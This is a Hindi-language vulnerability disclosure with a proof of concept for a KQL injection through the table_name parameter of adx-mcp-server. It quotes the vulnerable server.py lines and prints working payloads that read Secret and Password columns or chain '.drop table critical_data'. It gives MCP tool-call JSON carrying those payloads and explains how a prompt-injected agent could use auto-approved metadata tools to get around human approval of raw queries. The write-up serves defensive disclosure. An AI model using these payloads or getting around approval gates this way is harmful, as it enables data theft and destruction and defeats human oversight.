
Azure Data Explorer में डेटा एक्सफिल्ट्रेशन और विनाशकारी कमांड सक्षम करने वाले adx-mcp-server में table_name पैरामीटर के माध्यम से KQL इंजेक्शन के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट।
table_name पैरामीटर के माध्यम से adx-mcp-server में KQL इंजेक्शनगंभीरता: उच्च (CVSS 8.3)
CWE: CWE-943 — डेटा क्वेरी लॉजिक में विशेष तत्वों का अनुचित निष्क्रियीकरण
प्रभावित: adx-mcp-server <= 1.1.0
सलाह: GHSA-vphc-468g-8rfp
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33980
श्रेय: Romain Deperne
adx-mcp-server में तीन MCP टूल्स table_name पैरामीटर को f-strings के माध्यम से सीधे KQL (Kusto Query Language) क्वेरीज़ में इंटरपोलेट करते हैं। एक हमलावर या प्रॉम्प्ट-इंजेक्टेड AI एजेंट Azure Data Explorer क्लस्टर में किसी भी तालिका को पढ़ सकता है, प्रबंधन कमांड (.drop table) निष्पादित कर सकता है, या मनमानी एनालिटिक्स क्वेरीज़ चला सकता है — "सुरक्षित" मेटाडेटा टूल्स और कच्चे execute_query टूल के बीच की विश्वास सीमा को बायपास करते हुए।
मैं awesome-mcp-servers सूची को देख रहा था, विशेष रूप से उन MCP सर्वरों की तलाश में जो क्लाउड डेटा प्लेटफ़ॉर्म को रैप करते हैं — ये उच्च-जोखिम वाले होते हैं क्योंकि इन्हें AI एजेंट्स को सीधा डेटाबेस एक्सेस देने के लिए डिज़ाइन किया गया है, और MCP टूल पैरामीटर पूरी तरह से हमलावर-नियंत्रित होते हैं (कोई भी LLM जो अविश्वसनीय डेटा प्रोसेस कर रहा है, उसे प्रॉम्प्ट-इंजेक्ट करके दुर्भावनापूर्ण टूल आर्ग्युमेंट्स पास करने के लिए प्रेरित किया जा सकता है)।
यह समीक्षा करते हुए कि MCP टूल पैरामीटर Azure Data Explorer क्वेरीज़ तक कैसे पहुँचते हैं, server.py में तीन सीधे इंटरपोलेशन दिखे: f"{table_name} | getschema", f"{table_name} | sample {sample_size}", और f".show table {table_name} details"।
दिलचस्प हिस्सा विश्वास सीमा बायपास है: सर्वर एक कच्चा execute_query टूल (जिसके लिए MCP क्लाइंट्स मानवीय अनुमोदन की आवश्यकता रख सकते हैं) और ये "सुरक्षित" मेटाडेटा निरीक्षण टूल्स (जो स्वतः-अनुमोदित हो जाते हैं) दोनों प्रदान करता है। मेटाडेटा टूल्स के माध्यम से इंजेक्ट करने से आप क्लाइंट द्वारा लागू की गई किसी भी अनुमोदन नीति को बायपास कर सकते हैं। यही कारण है कि इसे "इंजेक्शन बग" से एक वास्तविक सुरक्षा सीमा उल्लंघन में बदल दिया गया।
KQL टिप्पणी सिंटैक्स (//) एक पेलोड को मूल क्वेरी के शेष भाग को दबाने की अनुमति देता है।
फ़ाइल: src/adx_mcp_server/server.py
# Line 228 — get_table_schema
query = f"{table_name} | getschema"
# Line 248 — sample_table_data
query = f"{table_name} | sample {sample_size}"
# Line 268 — get_table_details
query = f".show table {table_name} details"
सभी तीन table_name को MCP टूल आर्ग्युमेंट्स से सीधे client.execute(config.database, query) में बिना किसी वैलिडेशन के पास करते हैं।
KQL | के साथ क्वेरी ऑपरेटरों को पाइप करने और . से प्रीफ़िक्स किए गए प्रबंधन कमांड निष्पादित करने की अनुमति देता है। // अक्षर एक लाइन कमेंट शुरू करता है। इसलिए सीधा f-string इंटरपोलेशन क्वेरी इंजेक्शन की अनुमति देता है:
f"{table_name} | getschema" → | getschema को कमेंट करने के लिए | project Secret // जोड़ेंf".show table {table_name} details" → प्रबंधन कमांड को चेन करने के लिए \n.drop table इंजेक्ट करेंयह एक साधारण execute_query टूल से आगे क्यों मायने रखता है: MCP क्लाइंट अक्सर "सुरक्षित" रीड-ओनली टूल्स (स्वतः-स्वीकृत) और रॉ एक्ज़ीक्यूशन टूल्स (पुष्टि आवश्यक) के बीच अंतर करते हैं। इंजेक्शन "सुरक्षित" मेटाडेटा टूल्स को लक्षित करता है, जिससे अनुमोदन सीमा बायपास हो जाती है।
पूर्ण प्रदर्शन के लिए poc.py देखें। मुख्य पेलोड:
# Data exfiltration via get_table_schema
# f"{table_name} | getschema" becomes:
# "sensitive_data | project Secret, Password | take 100 // | getschema"
# → // comments out "| getschema"; query reads sensitive_data columns
table_name = "sensitive_data | project Secret, Password | take 100 //"
# Destructive management command via get_table_details
# f".show table {table_name} details" becomes:
# ".show table users details\n.drop table critical_data details"
table_name = "users details\n.drop table critical_data"
MCP टूल कॉल:
{"name": "get_table_schema", "arguments": {"table_name": "sensitive_data | project Secret, Password | take 100 //"}}
{"name": "get_table_details", "arguments": {"table_name": "users details\n.drop table critical_data"}}
.drop table, .drop extents जैसे प्रबंधन कमांडtable_name मान पास करने के लिए हेरफेर किया जा सकता है, जिससे प्रॉम्प्ट इंजेक्शन पूर्ण डेटा एक्सेस में बदल जाता है